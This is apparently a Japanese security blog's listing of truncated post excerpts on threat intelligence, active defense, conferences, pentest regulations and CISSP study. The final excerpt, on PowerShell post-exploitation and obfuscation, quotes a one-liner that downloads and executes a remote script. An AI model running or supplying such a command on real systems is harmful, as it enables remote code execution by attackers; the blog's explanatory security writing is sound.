色を使ってセキュリティチームの性質を説明することがよくあります。 例えば、攻撃技術（Offensive Technology）を専門とするチームをRed Teamと呼び、一方、セキュリティ監視やインシデント対応を行うセキュリティ運用チーム（Security Operation）のことをBlue Teamと呼びます。 また、最近では両方の観点を知り、各チームの知見を相互に生かすチームをPurple TeamとかPurple人材と呼ばれるようになりました。 今回は、色を基軸にセキュリティ人材の今後について考えてみたいと思います。 "Orange is the New Purple" Black Hat USA 2017での講演『Orange is the New Purple』では、開発チームをYellow Teamと定義して、DevSecOpsの流れを踏まえ、Orange TeamとGree

LinkedInのブログでたまたま見つけましたが、BSides Tokyoが開かれるらしいです。 www.linkedin.com bsides.tokyo BSidesシリーズとは？ 米国から始まった（？）セキュリティカンファレンスシリーズ群で、各地の発起人が確か一定の条件を満たせば、BSidesという名前を付けて開けるカンファレンスです。（違っていたらすいません...） 米国にいた頃、BSides Charm、BSides Boston、BSidesLV、BSides DC、BSides Philadelphiaなど東海岸を中心に色々と参加していました。個人的に旅行次いでにバスで乗り継いでいったので思い出深いカンファレンス群です。 米国の特徴とすると、以下の通りだと思います。 特徴１：安価な参加費 参加費が非常に安価であるという特徴があります。大体無料から高くても３０ドルぐらい（BSi

#ssmjp ４月に参加してきました。 ブログ枠で参加したのでアップデートしました。（勘違いして、アップロードできていなかったので、アップロードしました。ご迷惑をおかけしました。） 講演１：私の情報収集法 最初のスピーカーは「タイムライン・インテリジェンス」という情報収集法に関する話でした。「私は昨晩、6時間寝てしまったから、すでに専門家でなくなってしまった」とまで言い切らずに情報収集を行うというコンセプトが面白かったです。 提案されていたポイントは、「時差を利用して、過去・未来にさかのぼるイメージで情報収集を行う」という点にあるかと思います。 未来の話題は、海外ソースで先取り 過去の話題は、「まとめ」を活用 未来の話題 海外の情報で日本で話題になるまでに先取りを行って、話題を先取りする方法です。 海外のニュースは日本の夜に公開されており、翻訳は大体翌日の午前中に公開されるため、朝の通勤電

前回の記事では、Operational Threat IntelligenceとStrategic Threat Intelligenceの定義について取り上げた後、Threat Intelligenceの共有方法についても触れました。今回は、Cyber Threat Intelligence Analystが陥りやすいバイアスやAttributionという技術について触れようと考えています。 CTI Analystが陥りやすいバイアスとは？ CTI Analystは限られた情報から分析を行うゆえ、陥りやすいバイアスが存在します。詳しくは、誤謬 - Wikipediaや以下の本を読んでもらうとして、CTI Analystはこうしたバイアスに問われないように数々の誤謬・詭弁に通じている必要があると考えられます。 ウンコな議論 (ちくま学芸文庫) 作者: ハリー・G.フランクファート,Harr

以前、SANS Cyber Threat Intelligence Summitに参加してきました（バックデートして投稿しています。） SANS Cyber Threat Intelligence Summitとは？ SANS Cyber Threat Intelligence Summitとは、SANSが開催しているThreat Intelligenceに関するサミットです。全体的に良いセッションでしたが、CFP（Call For Papers）のプロセスがあまり大幅に打ち出されていないためか、全体的におとなしいセッションという印象を受けました。ただし、米国でも唯一のCyber Threat Intelligenceのサミットであるため、その意味では貴重なカンファレンスだと考えられます。*1 カンファレンスのプレゼンテーションは、すべてここに公開されていますので、興味がある人は見てみてく

2018/02/28　リンクを追加しました。 今回の記事では、Tactical Threat Intelligenceについて取り上げました。 今回は、SANSの"Cyber Threat Intelligence Consumption"をもとにOperational・Strategicレベルについて取り上げたいと思います。 Operational Threat Intelligenceの定義 以下のように定義されています。 Operational-level personnel should look to translate strategic objectives into tactical efforts and vice versa by identifying the overarching goals or trends of an operation or campaig

前回の記事では、Cyber Threat Intelligenceの定義などについて解説しました。 www.scientia-security.org 今回の記事では、Threat Intelligenceの中でもTactical Threat Intelligence（戦術的インテリジェンス）に焦点を当ててみたいと思います。 戦術的インテリジェンスの定義 SANSの"Cyber Threat Intelligence Consumption"によれば、以下のように定義されています。 Tactical-level intelligence is often consumed in the form of indicators of compromise (IOCs) and tactics, techniques, and procedures (TTPs). This helps dri

（修正履歴） 過去のエントリをいろいろ改善して再投稿しました。 2019年2月9日に一部更新を行いました。 今回のエントリーでは、Cyber Threat Intelligence（CTI）について解説をしていきます。 第１回では、Cyber Threat Intelligenceの概要について定義していきたいと思います。 Intelligenceとは何か？ インテリジェンスとは、諜報活動や情報分析に関する軍事用語です。 諜報機関として有名なCIA（Central Intelligence Agency）はアーカイブ上で過去の資料（コレとかコレ）を複数公開していますが、少し古く、議論が尽くされていないと筆者は考えています。本書では、アメリカ統合参謀本部（JCS：Joint Chiefs of Staff）が発表している資料（DOD：Dictionary of Military and As

Offensive Countermeasures（OCM）とは、2009年にSANSインストラクターであるJohn Strand氏らが提唱した概念です。当時はあまり流行した考え方ではなかったと思いますが、Threat IntelligenceやThreat Huntingへの注目と合わせて、再度注目を集めている概念です。（最近では、SEC550: Active Defense, Offensive Countermeasures and Cyber Deceptionというコースも準備されているようです。） 今日のブログでは、Offensive Countermeasureとは何か、提唱者の本をもとに読み解いてみたいと思います。 Offensive Countermeasures: The Art of Active Defense (English Edition) 作者: John

2018/01/16 一部内容を更新しました。 2018/02/07 一部内容を更新しました。 Active Defenseという言葉をご存知でしょうか？ SANSでもSEC550: Active Defense, Offensive Countermeasures and Cyber Deceptionというコースが用意されていますし、CTI（Cyber Threat Intelligence）とも密接に関わる概念です。 色々調べてみると、いくつか考え方ありそうなので、その考え方について整理をしてみたいと思います。 Wikipediaの定義 Wikipediaによれば、Active Defenseは以下のように定義されています。 Active defense can refer to a defensive strategy in the military or cybersecurit

2018/01/09 金融庁関連の話題を追加しました。 少し前ですが、２０１７年８月にJPCERT/CCが「Web サイトへのサイバー攻撃に備えて」という報告を発表して、セキュリティ診断・ペネトレーションテストの頻度について言及をしています。今回は、各レギュレーションがどのようについてどのように言及しているか整理を行いました。 今回は、各レギュレーションがどのようにセキュリティ診断の頻度を定めているか整理したいと思います。 各レギュレーションが定義する頻度 各レギュレーションが定義する脆弱性スキャン・ペネトレーションテストの頻度は以下の通りです（間違っていたらすいません）。これを見ると、少なくても年１回はペネトレーションテストをすることが求められていると考えられます。 JPCERT/CC JPCERT/CCは、「Web サイトへのサイバー攻撃に備えて」にて以下のように定義しています。この規

（修正履歴）一部追記しました。@  2019.02.10 現在、Cyber Threat IntelligenceやThreat Intelligenceに興味を持っていますが、脅威を検知手法について整理してみました。 時間軸による検知レイヤーモデル 色々な考え方があるますが、検知のインプットは大きく４種類あると考えています。 Signiture Based（シグニチャに基づく検知） Behavior Based（振る舞い検知） Cyber Threat Intelligence（脅威情報） Threat Hunting（スレット・ハンティング） 上記の図では、その４つのインプットを時間軸、特性から分類をしています。 検知にかかる時間 上記の図にあるとおり、検知にかかる時間を考えるとシグニチャに基づく検知（Signiture Based）が一番早く、スレット・ハンティング（Threat H

CISSP（Certified Information Systems Security Professional）という試験は、セキュリティの経験と全般的な知識を持っていることを示す資格です。一般的かつセキュリティと重要な資格である一方、独学用の勉強リソースはあまり多くないと言わざるを得ません。また、CISSPのセミナーはかなり高額であるため、あまり気軽に参加できるものではありません。 ふと知り合いに聞かれたので、自分の経験を踏まえ変えてみたいと思います。 Shon Harrisシリーズ 個人的にはShon Harris女史の著作をお勧めしています。米国滞在時でもかなりバイブル的な存在として名前が挙がる著作でした。私は、問題集のほうを中心にやりましたが、教科書もかなり良い出来だと思います。 CISSP All-in-One Exam Guide, Seventh Edition 作者:

PowerShellは、Post-Exploitationプロセスで非常に良く使われます。例えば、以下のコマンドを実行するとリモートにあるファイルを取得してその内容を実行してくれます。 Invoke-Expression (New-Object Net.WebClient).DownloadString("http://bit.ly/L3g1t") PowerShellの難読化技法については様々な研究がされており、いくつかツールが存在します。今回はそれを紹介します。 Invoke-Obfuscation Invoke-Obfuscationは、任意のPowerShellコマンドを難読化してくれるツールです。 github.com GitHubに記載されている通り、インストールします。 起動すると以下のような画面になります。 Tutorialコマンドをたたくと以下のように使い方を教えてくれま